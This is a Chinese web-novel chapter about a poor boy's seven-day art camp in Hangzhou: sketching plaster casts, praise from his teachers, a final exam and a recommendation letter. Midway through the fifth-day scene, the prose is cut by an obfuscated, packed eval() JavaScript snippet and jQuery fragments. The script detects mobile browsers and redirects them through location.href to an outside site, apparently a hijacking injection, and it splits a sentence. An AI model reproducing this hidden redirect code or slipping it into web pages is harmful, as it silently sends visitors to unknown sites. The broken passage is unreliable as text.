第一天正式上课，张小五六点不到就醒了。
不是因为紧张，是因为林笑的呼噜声实在太大了。那种声音像一台老式拖拉机在泥泞的田埂上挣扎前行，突突突、突突突，忽高忽低，时而急促时而舒缓，偶尔还会突然停顿几秒——就在你以为他终于安静了的时候，一声惊雷般的呼噜又炸开来，震得窗户都在微微颤抖。
张小五躺在床上，盯着上铺的床板，数着林笑的呼噜节拍。他数到了一百二十三，呼噜还没停。他又数到了二百五十六，还是没停。他放弃了，掀开被子，轻手轻脚地爬下床。
陈默已经醒了。他坐在床上，被子裹在身上，只露出一张脸和一只手。手里拿着那本《西方美术史》，就着床头小灯的微光在看书，像一尊沉浸在知识海洋里的雕塑。
“早。”张小五小声说。
陈默看了他一眼，点了点头，又把目光移回到书上。
郑远还在睡。他的睡相很安静，整个人缩在被子里，只露出几根头发。枕头旁边放着速写本和铅笔，像一个随时准备醒来画画的战士。
张小五去卫生间洗漱，回来的时候林笑的呼噜终于停了。他换了姿势，侧躺着，嘴里嘟囔了一句什么，翻了个身，继续睡，这次没打呼噜了。
张小五穿上外套，拿着画本和铅笔，走出了宿舍。
清晨的校园很安静，安静得能听见自己的脚步声。地面湿漉漉的，昨晚下了雨，空气中有一种潮湿的、清冽的、带着泥土和草叶气息的味道。张小五深深地吸了一口，觉得肺里凉丝丝的，像是喝了一口冰镇的薄荷水。
他走到画室门口，门还没开。他靠在走廊的柱子上，拿出画本，开始画对面的教学楼。那栋楼是灰白色的，三楼，窗户很大，屋顶是坡形的，铺着灰色的瓦片。楼前有几棵香樟树，枝叶繁茂，把一楼和二楼的窗户遮了大半。他把这些画下来，用很轻的线条，一层一层地叠加，让画面有一种清晨特有的朦胧感。
画完之后，他在纸的右下角写了一个时间：6:47。
门开了。开门的是一个老头，穿着蓝色的工作服，手里拿着一串钥匙。他看到张小五，愣了一下。
“你这么早？”
“嗯，睡不着。”张小五把画本收起来，跟着老头走进画室。
老头打开灯，日光灯一盏一盏地亮起来，发出轻微的嗡嗡声。光线下，那些石膏像从黑暗中浮现出来，像一群刚从睡梦中醒来的白色精灵。大卫、维纳斯、伏尔泰、海盗，它们静静地立在架子上，姿态各异，表情各异，但都带着一种共同的、超越时空的宁静。
张小五走到昨天那个画架前，支好画板，夹上一张新的素描纸。他今天不画大卫了，他画维纳斯。维纳斯的头像比大卫小一些，线条更柔和，表情更温婉。她的眼睛微垂，嘴角含着一丝若有若无的笑意，像在想一件很开心的事，又像在做一个很美的梦。
他画了一个小时，画到七点四十，去食堂吃早饭。
食堂在一楼，已经有很多人了。张小五端着托盘，排队打了两个包子、一碗粥和一个煮鸡蛋，找了一个靠窗的位置坐下。他刚坐下，林笑就端着托盘过来了，后面跟着陈默和郑远。
“张小五，你起那么早干嘛？”林笑打着哈欠，眼睛还是肿的，“我醒来发现你不见了，以为你跑了。”
“跑什么跑，交了钱的。”张小五咬了一口包子，包子是肉馅的，汤汁很足，一咬就流出来，烫得他直吸气。
林笑嘿嘿笑了两声，开始吃他的早饭。他的早饭是张小五的三倍——四个包子、两碗粥、两个鸡蛋、一根油条、一碟咸菜。他吃东西很快，像有人在跟他抢一样，腮帮子鼓鼓的，嚼得咔嚓咔嚓响。
陈默吃得很慢，一口粥要含很久才咽下去，眼睛一直盯着手里的书。张小五瞥了一眼，书翻到了文艺复兴那一章，页边有一幅达·芬奇的《维特鲁威人》，一个裸体的男人站在一个圆和方中间，四肢伸展，像一只张开翅膀的蝴蝶。
郑远不吃早饭。他说他早上没有胃口，只喝了一杯水，然后就拿出速写本开始画食堂。他画的是食堂的全景——长条形的空间，一排排的桌椅，打饭的队伍，端着托盘穿梭的人群。他的线条很快很准，几笔就能勾勒出一个人的轮廓，像一台人肉照相机。
张小五看着他画，心里暗暗佩服。这个不爱说话、只知道画画的男孩，基本功比他扎实得多。不是那种死板的、教科书式的扎实，而是一种灵动的、活生生的、有呼吸的扎实。他的每一笔都带着一种自信，一种“我知道我在画什么”的笃定。
上午八点，素描课正式开始。
教素描的是一个四十多岁的女老师，姓沈，短发，圆脸，戴着一副无框眼镜，说话的声音很温柔，像春天的风。她站在画室前面，面前摆着一个石膏像——不是大卫，不是维纳斯，是一个张小五没见过的头像，一个老人的脸，满脸皱纹，表情痛苦，嘴巴张着，像是在呐喊。
“这是《拉奥孔》。”沈老师说，“特洛伊的祭司，因为识破了希腊人的木马计，被雅典娜派来的巨蛇缠死。你们今天画这个。”
张小五看着那个痛苦的面孔，心里忽然有一种奇怪的感觉。那个老人的表情太真实了，真实到让他觉得不舒服。那种痛苦不是演出来的，是刻在骨头里的，是渗进血液里的，是经历过真正的绝望之后才会有的表情。
他想起父亲躺在病床上的样子。不是手术后慢慢康复的样子，是刚确诊时、躺在病床上看着天花板、眼睛里一点光都没有的样子。那个样子的父亲，就是这个表情——不是呐喊，是无声的、绝望的、连喊都喊不出来的痛苦。
他深吸一口气，拿起铅笔，开始画。
他画得很慢，比平时慢得多。他不再急着去捕捉结构、比例、明暗，而是先去感受。感受那个老人的痛苦，感受那些蛇缠绕在他身上的窒息感，感受他在生命最后一刻的不甘和愤怒。他把自己当成拉奥孔，把自己当成父亲，把自己当成所有被命运扼住喉咙但仍然拼命挣扎的人。
他画了整整一个上午。
下课铃响的时候，他才发现自己连厕所都没去上。他的手指酸得伸不直，脖子僵得像一块木板，眼睛干涩发疼，但他看着自己画完的作品，心里有一种从未有过的满足感。
画上的拉奥孔不再是课本上那个冷冰冰的石膏像，而是一个活生生的人。他的脸上有痛苦，有不甘，有愤怒，但还有一种说不清的东西——也许是希望，也许是在绝望的最深处、仍然没有熄灭的那一点点光。
沈老师走过来，站在他身后，看了很久。
“你叫张小五？”她问。
“是。”
沈老师没有再说话。她拿起张小五的画，举到灯光下，看了又看，然后放下来，放回画架上。
“下午的色彩课，你来我办公室拿颜料。”她说，语气很平，但眼神里有一种只有张小五才能读懂的东西——那不是夸奖，是一种认可，一种“我看好你”的暗示。
张小五的心跳了一下。
“谢谢沈老师。”他说。
下午的色彩课，张小五第一次用上了专业的颜料。
沈老师给了他一套水彩颜料，十二色的，温莎牛顿，装在铁盒子里，打开之后整整齐齐的一排，像一列彩色的小火车。他把颜料一支一支地挤在调色盘上，红的、黄的、蓝的、绿的、紫的、黑的、白的，每一种颜色都有自己的名字——镉红、柠檬黄、钴蓝、翠绿、永固紫、象牙黑、钛白。
他拿起画笔，蘸了水，蘸了颜料，在纸上轻轻点了一下。颜料在湿润的纸面上扩散开来，像一朵花在绽放，边缘是模糊的，中间是浓的，从中心到边缘逐渐变淡，最后消失在白色的纸面上。
他看呆了。
这就是颜色。真正的、活的、有生命的颜色。不是他用铅笔调子模拟出来的假颜色，不是他用三原色勉强调配出来的次品，而是真正的、纯粹的、来自大自然的颜色。
他深吸一口气，开始画。
他画的是拉奥孔。不是上午那个素描的拉奥孔，而是一个全新的、用颜色去表达的拉奥孔。他用赭石画老人的皮肤，用熟褐画皱纹的阴影，用钴蓝画蛇的身体，用深红画那些被蛇咬过的伤口。他没有用太多的颜色，只是最基本的几种，但他尽力让每一种颜色都发挥出最大的力量。
画完之后，他退后几步，看着自己的作品。
不好。他知道不好。颜色太生硬了，过渡不够自然，有的地方太浓，有的地方太淡，整体看起来像一幅没画完的半成品。但这是他用真正的颜料画的第一幅画，是他迈向色彩世界的第一步。
这一步，他走得不算好，但他走出了。
晚上是速写课。
教速写的是一位年轻的男老师，姓孙，二十七八岁，留着长发，扎了一个小辫子，穿着一件黑色的皮夹克，看起来像个摇滚歌手。他让同学们互相画，两人一组，五分钟一张，不停地换姿势，不停地画。
张小五和林笑一组。林笑坐在椅子上，张小五站在三米外，飞快地画着他的轮廓。五分钟很短，短到只能画出最基本的动态和比例。他来不及细画，只能用最简洁的线条去捕捉林笑的姿态——身体的倾斜角度，手臂的摆放位置，腿的交叉方式。
第一张画完了，他看了看，线条太乱，比例失调，头大身子小，像一个小头爸爸的翻版。
“再来。”孙老师说。
第二张，好了一点。第三张，更好了一点。第四张、第五张、第六张……画到第十张的时候，张小五的手已经不是他的手了，它自己在动，铅笔在纸面上飞速地滑动，留下一串串流畅的线条。他不再思考该怎么画，而是凭直觉去画，凭手感去画，凭身体去画。
第十张画完，孙老师走过来，拿起他的速写本，一页一页地翻。
翻完之后，他把速写本还给他，只说了一个字。
“好。”
张小五看着孙老师走远的背影，心里涌起一股热流。一个字的评价，比一千字的夸奖更有分量。
晚上回到宿舍，张小五洗了澡，躺在床上，拿出手机。有两条未读消息。一条是父亲的：“今天怎么样？”一条是母亲的：“小五，妈给你汇了一千块，你注意查收。”
他先回了父亲：“爸，今天很好。老师说我画得好。”
又回了母亲：“妈，收到了。你别太累了。”
发完之后，他把手机放在枕头底下，拿出画本，翻到新的一页，开始画。他画的是今天在画室里看到的一个画面——沈老师站在窗前，逆光，阳光从窗外照进来，把她整个人笼罩在一片金色的光里。她的手里拿着一支画笔，正在给一个学生改画，侧脸专注而温柔。
画完之后，他在纸的右下角写了一行字。
“杭州第二天。沈老师说我画得好。孙老师也说我画得好。我不知道是不是真的，但我会努力配得上这些好。”
他把画本合上，关了灯，闭上眼睛。
黑暗中，林笑的呼噜声又响了起来。这一次张小五没有觉得吵，反而觉得安心。那突突突的声音像一首摇篮曲，带着他从北方的寒冬，穿越到南方的暖春。
他很快就睡着了。
第二天、第三天、第四天，集训营的日子像流水一样过去，快得来不及细想。
每一天都差不多，又每一天都不一样。早上素描，下午色彩，晚上速写，中间穿插着老师的讲解和点评。张小五像一块干透的海绵，拼命地吸收着每一点水分。他画得比别人多，睡得比别人少，吃得比别人快。课间十分钟，别人在聊天、玩手机、吃零食，他在画画。午休一小时，别人在睡觉、打牌、看视频，他在画画。晚上熄灯后，别人都睡了，他还在被窝里打着手电筒画画。
他的手越来越不听使唤了，不是因为生疏，是因为太累了。手指的关节肿了，握笔的时候疼得钻心。他用胶布把手指缠起来，继续画。眼睛干涩发疼，他就滴几滴眼药水，继续画。腰酸背痛，他就站起来画，站着画累了就坐着画，坐着画累了就蹲着画，蹲着画累了就趴着画。
室友们都看不下去了。林笑说：“张小五，你是不是不要命了？”陈默说：“你这样会画废的。”郑远不说话，但每天早上都会在他的桌上放一杯温水。
张小五知道他们在担心他。但他没有办法。他只有七天。七天之后，他就要回到北城，回到那个四十平米的老房子里，回到那个没有专业老师、没有专业画室、没有专业模特的地方。他必须在七天里尽可能多地学，尽可能多地画，尽可能多地吸收。因为他不知道下一次来杭州是什么时候，不知道下一次有专业老师指导是什么时候，不知道下一次用专业颜料画画是什么时候。
他要抓住这七天，像抓住一根救命稻草。
第五天，沈老师在全班面前点评了他的素描。
那是一幅长期作业，画了整整一个上午。画的是《大卫》的眼睛，不是整张脸，只有眼睛。他把那只眼睛放大了，画得比实物大了好几倍，大到整张纸上只有一只眼睛。他用铅笔一层一层地叠加调子，从最深处的瞳孔到最边缘的眼白，每一个微小的明暗变化都不放过。他把那只眼睛画得像一扇窗户，透过它，你能看见大卫的灵魂——那种坚定的、不屈的、直视命运的勇气。
沈老师把画举起来，让全班都看到。
“你们看这只眼睛。”她说，“这不是石膏像的眼睛，这是一个活人的眼睛。它有温度，有感情，有故事。画到这个程度，技巧已经不是最重要的了。最重要的是，这个同学把自己放了进去。他画的不只是大卫，也是他自己。”
全班安静了几秒钟，然后响起了掌声。不是那种礼
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17444018|201069||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
貌性的、敷衍的掌声，而是真正的、发自内心的、被作品打动的掌声。
张小五坐在椅子上，低着头，耳朵红得像煮熟的虾。他的心跳得很快，快到他能听见自己的血液在耳朵里嗡嗡地响。他想说“谢谢”，但这两个字卡在喉咙里，怎么都说不出来。
他最后什么也没说，只是把那张画从画板上取下来，小心翼翼地放进画筒里。
这是他送给父亲的礼物。
第六天晚上，张小五给父亲打电话。
“爸，集训营快结束了。明天是最后一天，有结业考试。”
“考得好吗？”张建国的声音有点紧。
“不知道。我会尽力的。”
“尽力就行。”张建国说，“别给自己太大压力。考不上也没关系，咱们再想办法。”
张小五握着手机，指节发白。他知道父亲说“考不上也没关系”是在安慰他，他也知道如果真的考不上，父亲会比他还难过。但他没有戳穿，只是说：“爸，我知道了。你早点睡。”
“你也早点睡。”
“好。”
电话挂断了。张小五坐在宿舍楼下的台阶上，看着头顶的月亮。杭州的月亮和北城的差不多，都是圆的，都是亮的，都是挂在天上看着地上的人。但杭州的月亮旁边多了一些云，薄薄的，透透的，像一层轻纱，让月亮看起来朦朦胧胧的，像一个在做梦的人。
他拿出画本，画了那个月亮。月亮下面是一个校园，校园里有画室、有宿舍、有食堂、有操场。操场上有一个小小的身影，背着画板，走在月光里。
那个身影是他自己。
他在画的下面写了一行字。
“杭州第六天。明天是最后一天。我会尽力。”
他把画本合上，站起来，走回了宿舍。
第七天，结业考试。
考试的内容是默写——给一个主题，自己构图，自己想象，自己发挥。主题是两个字：“远方”。
张小五看着那两个字，沉默了很久。
远方是什么？是杭州？是美院附中？是那个他从未去过但一直在梦里出现的地方？还是更远的、更模糊的、连梦都没梦到过的未来？
他拿起铅笔，开始画。
他画的是一扇窗。窗户很大，占据了画面的三分之二。窗外是一片广阔的田野，金黄色的，一直延伸到天边。田野的尽头是山，山是蓝色的，一层一层的，最远的那一层几乎和天空融为一体。天空是淡紫色的，有几朵云，云是粉色的，像棉花糖一样柔软。
窗户是开着的。窗台上坐着一个人，是一个男孩，背对着画面，面朝窗外。他的背影很瘦小，肩膀微微前倾，像是在努力地往远处看。他的手里拿着一支铅笔，膝盖上摊着一个画本。
那个男孩是他自己。
他画了三个小时，画到手抽筋，画到眼睛发花，画到整幅画从纸面上浮现出来，像一个真实的世界。当他落下最后一笔的时候，他忽然有一种奇怪的感觉——不是完成一件作品的成就感，而是一种告别的仪式感。他在告别杭州，告别集训营，告别这个给了他七天美好时光的地方。
但他知道，这不是永别。他还会回来的。
交卷的时候，沈老师看了他的画，没有说话。她把画收好，在登记表上写了一个分数。
张小五没有看到那个分数。但他看到沈老师的嘴角弯了一下，弯成一个很浅很浅的弧度。
那就够了。
下午四点，集训营结业仪式。
周老师站在讲台上，念了获得“推荐资格”的学生名单。一共五个人，张小五是其中之一。
他听到自己名字的时候，大脑一片空白。他站起来，走上讲台，从周老师手里接过那张推荐信。推荐信是红色的，烫金的字，上面写着他的名字和“经考核，成绩优秀，特推荐报考中国美术学院附属中等美术学校”。
他握着那张纸，手在发抖。不是因为紧张，是因为激动。他想起了很多事情——想起父亲躺在病床上的样子，想起母亲把老家的房子卖掉的那个下午，想起李老师说“画画不能停”，想起方老师说“我像你这么大的时候家里也很穷”，想起周扬塞给他信封时说的“等你以后当了画家再还”，想起陈雨桐送他的那支毛笔，想起那些无数个在折叠椅上度过的夜晚，想起那些无声的、在黑暗中流淌的眼泪。
所有的这些，都变成了这张纸。
他回到座位上，把推荐信小心翼翼地放进画筒里，和那些画放在一起。
仪式结束后，同学们三三两两地离开了。有人拥抱，有人合影，有人交换联系方式。林笑抱着张小五拍了好几张照片，每一张都笑得见牙不见眼。陈默难得地放下书，和张小五握了握手，说：“美院附中见。”郑远画了一幅速写送给张小五，画的是他画画的背影，下面写着一行字：“给张小五，祝我们都能考上。”
张小五把那张速写夹在画本里，和那些珍贵的画放在一起。
他拖着行李箱，走出校门。走到门口的时候，他停下来，转过身，看了一眼那块木匾——“中国美术学院附属中等美术学校”。
他深深地鞠了一躬。
然后他转过身，走进了暮色里。
火车是晚上八点的。张小五坐在候车室里，手里拿着画本，画着窗外的站台。站台上人来人往，有接站的，有送站的，有拖着行李箱匆匆赶路的，有抱着孩子慢慢走着的。他把这些人都画了下来，画得很潦草，但每一笔都很用力，像是要把杭州的一切都刻进心里。
火车来了。他上了车，找到自己的座位，放好行李箱，坐下来。
火车开动了。窗外的站台开始往后退，然后是铁轨、信号灯、电线杆、田野、房屋、树木。所有的东西都在往后退，快得像电影的快进镜头，一帧一帧地闪过，来不及看清就已经消失在身后。
张小五靠着车窗，看着那些飞速后退的风景。他的手里握着画本，画本里装着这七天的一切——沈老师的微笑，孙老师的“好”，周老师的推荐信，室友们的友谊，还有那些画，那些他拼了命画出来的画。
他闭上眼睛。
他又走进了那间很大的画室，四面墙都是窗户，阳光从各个方向涌进来。这一次画室里有很多画，墙上挂满了他的作品——金鱼、母亲、父亲、礼物、我的家、希望、新生、拉奥孔、大卫的眼睛、远方。每一幅画都是一段记忆，每一段记忆都是一个脚印，每一个脚印都通向一个更远的地方。
他笑了，笑得眼睛弯弯的，像两个小月牙。
火车在铁轨上轰隆轰隆地响着，带着他和他的画本，带着他的推荐信和他的梦想，带着所有人的善意和祝福，驶向北城，驶向父亲，驶向那个四十平米的老房子。
杭州，再见。
北城，张小五回来了。